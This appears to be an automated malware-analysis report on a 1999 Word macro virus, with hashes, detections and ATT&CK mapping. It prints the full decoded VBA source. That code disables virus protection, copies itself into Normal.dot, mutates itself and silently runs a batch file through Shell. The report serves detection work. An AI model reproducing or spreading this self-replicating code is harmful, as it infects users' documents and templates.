Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ebdb5612b3cf8871…

MALICIOUS

Office (OLE)

73.0 KB Created: 1999-03-10 00:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2dfb23b91914b188317c50beced0f466 SHA-1: b8cb80e6db008f858ec66fdf2ebeae6b2ad92ca8 SHA-256: ebdb5612b3cf887148fa4543338a560bc67716dbb228969484b3bb45769d5441
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Word document containing VBA macros. The macros include a call to the Shell() function and are configured to execute automatically upon opening the document (Document_Open). This indicates an attempt to run arbitrary code, likely to download and execute a secondary payload. The ClamAV detections further support its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Ded-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ded-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13993 bytes
SHA-256: 8312b5869e49c002338263d9105ffa3c36f34e028fd32e446d4bec79bb3e4216
Detection
ClamAV: Doc.Trojan.Ded-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'Swlabs 99!

On Error GoTo skam

Options.VirusProtection = False

SWLABS99

skam:
End Sub
 
'Copy From Normal to Active
Private Sub SWLABS99()
If Not ActiveDocument.VBProject.VBComponents(1).CodeModule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
    For i = 1 To NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
        d = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(i, 1)
        If Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then
            While Mid(d, Len(d) - 1, 2) = " _"
                i = i + 1
                d = Left(d, Len(d) - 1) & NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(i, 1)
            Wend
            d = e(d)
            ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines i * 2, d
        End If
    Next i
    ActiveDocument.SaveAs AddToRecentFiles:=False
Else
'Copy From Active to Normal
If Not NormalTemplate.VBProject.VBComponents(1).CodeModule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
    f (NormalTemplate.FullName)
    For i = 1 To ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
        d = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(i, 1)
        If Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then
            While Mid(d, Len(d) - 1, 2) = " _"
                i = i + 1
                d = Left(d, Len(d) - 1) & ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(i, 1)
            Wend
            d = e(d)
            NormalTemplate.VBProject.VBComponents(1).CodeModule.InsertLines i * 2, d
        End If
    Next i
    NormalTemplate.Save
End If
End If
End Sub

'Make the Code Polymorphic
Private Function e(aString) As String
For i = 1 To Len(aString) - 1
    While Mid(aString, i, 2) = "  "
        aString = Left(aString, i) & Right(aString, Len(aString) - i - 1)
    Wend
    If Mid(aString, i, 1) = "." Then
        If Not Mid(aString, i - 1, 1) = Chr$(34) And Not Mid(aString, i + 1, 1) = Chr$(34) And Int(3 * Rnd) = 1 Then
            If Not Mid(aString, i + 1, 1) = Chr$(34) Then
                e = Left(aString, i - 1) & ". _" & Chr$(13) & Right(aString, Len(aString) - i)
                For j = 1 To Int(15 * Rnd)
                    e = " " & e
                Next j
                Exit Function
            End If
        End If
    Else
        If Mid(aString, i, 1) = " " And Int(3 * Rnd) = 1 And i > 1 Then
            If Not Mid(aString, i + 1, 1) = Chr$(34) And Not Mid(aString, i - 1, 1) = Chr$(34) Then
                e = Left(aString, i - 1) & " _" & Chr$(13) & Right(aString, Len(aString) - i)
                For j = 1 To Int(15 * Rnd)
                    e = " " & e
                Next j
                Exit Function
            End If
        End If
    End If
Next i
e = aString & Chr$(13) & "'" & (100 * Rnd)
Count = Int(15 * Rnd)
For j = 1 To Count
    e = " " & e
Next j
End Function

' Undo Read Only in the File
Private Sub f(fName)
If GetAttr(fName) And vbReadOnly Then
    Open Dir(fName) & ".bat" For Append As #1
        Print #1, "Attrib " & "-r " & Chr$(34) & fName & Chr$(34)
        Print #1, "del " & Chr$(34) & Dir(fName) & ".bat" & Chr$(34)
    Close #1
    shellResult = Shell(Dir(fName) & ".bat", vbHide)
End If
End Sub



' Processing file: /opt/analyzer/scan_staging/b33fe8a9f7ab4d3cbc260d429fe30de1.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 38589 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	QuoteRem 0x0000 0x000A "Swlabs 99!"
' Line #2:
' Line #3:
' 	OnError PrivateSub 
' Line #4:
' Line #5:
'
... (truncated)